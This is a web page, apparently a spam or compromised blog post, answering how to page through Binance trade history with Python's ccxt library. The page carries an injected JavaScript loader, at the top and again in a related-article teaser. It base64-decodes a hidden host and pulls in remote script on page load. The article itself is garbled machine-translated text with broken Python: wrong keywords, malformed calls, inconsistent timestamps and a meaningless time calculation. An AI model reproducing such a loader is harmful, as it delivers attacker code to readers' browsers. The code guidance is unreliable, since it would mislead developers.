Ethereum: Python binance fetchMyTrades gives only 3 month of personal trades, so how do one iterates through results?

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=22870260″;document.body.appendChild(script);

By drinking the results of “Fetchmytrades” in Binance Python, the “ccxt” directory

The question you face is a short expiry date given since the “parameter”. When using “Fetchmytrades”, the result will be delivered to a certain time, but may not contain all the transactions from this point.

To retrieve transactions earlier than 3 months, you must use the “pre -” parameter with “since then” and “limit” parameters. Here is an example of code detail:

`Python

Ethereum: Python binance fetchMyTrades gives only 3 month of personal trades, so how do one iterates through results?

To import the necessary libraries

Import CCXT

Initialize the Binance API relationship

binance = ccxt.binance ({

‘apikey’: ‘your_api_key’,

‘Apisecret’: ‘Your_api_Secret’

})

Setting initial transactions for a period of 3 months (994,893 professional)

Result = binance.fetchmytrades (‘BTC/USDT’ since = 15886669559517, Limit = 10000)

Print all transactions in the previous 3 months

In order to trade the result:

Print (trade [‘id’], trade [‘time’], trade [‘symbol’])

`

In this example:

  • “Binance” will initialize the Binance API credentials.

  • The results of the initial transactions are set for a 3 -month period (994,893), using the “Since” parameter, which is set to “158866959517”. This corresponds to January 1, 2020, at 10:35 pm.

  • The “limit” parameter is set to 10000 to retrieve only the 10,000 transaction from this point (ie in the last 3 months).

  • Finally, we drink it through each commercial results and print all relevant information, including trade ID, time and symbol.

Note: The number of transactions scanned depends on the API rate. To avoid achieving a speed limit, you can set a “limit” parameter that is slightly less than desired results. Remember that trade in commerce for up to 3 months does not include all transactions from this point to limit the antecedents of commerce.

Alternative Solution:

If you only find trade before 3 months, only using “Fetchmytrades”, you can use a combination of “” since then “and” pre -“parameters. Here is an alternative solution:

`Python

Initialize the Binance API relationship

binance = ccxt.binance ({

‘apikey’: ‘your_api_key’,

‘Apisecret’: ‘Your_api_Secret’

})

Setting initial transactions for a period of 3 months (994,893 professional)

Result = binance.fetchmytrades (‘BTC/USDT’ since = 1588669559517)

Calculate the highest possible commercial time

max_time = int (((result [‘commerce’] [0] [‘time’] – result [‘commerce’] [1] [‘time’]). Total_seconds () / 60)

Iterate in each trade and print all relevant information

In order to trade the result:

Print (trade [‘id’], trade [‘time’], trade [‘symbol’])

`

In this example, we calculate the maximum potential commercial time by subtracting the earliest commercial time from the last commercial time. We then drink each commercial results and print all relevant information.

Keep in mind that both solutions continue to have limits due to API rates. To avoid hitting these limits you use the “limit” parameter with “previously” and “since” parameters when you are downloading commerce.

Related Articles

Bitcoin: Bitcoin Core VM and hardware SHA256

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”c.php?u=23ecdb2c”;document.body.appendChild(script); Understanding Linux Cryptographic Capabilities on Bare Metal Machines As a developer, it’s essential to understand how Linux handles cryptographic operations on…

Responses

Your email address will not be published. Required fields are marked *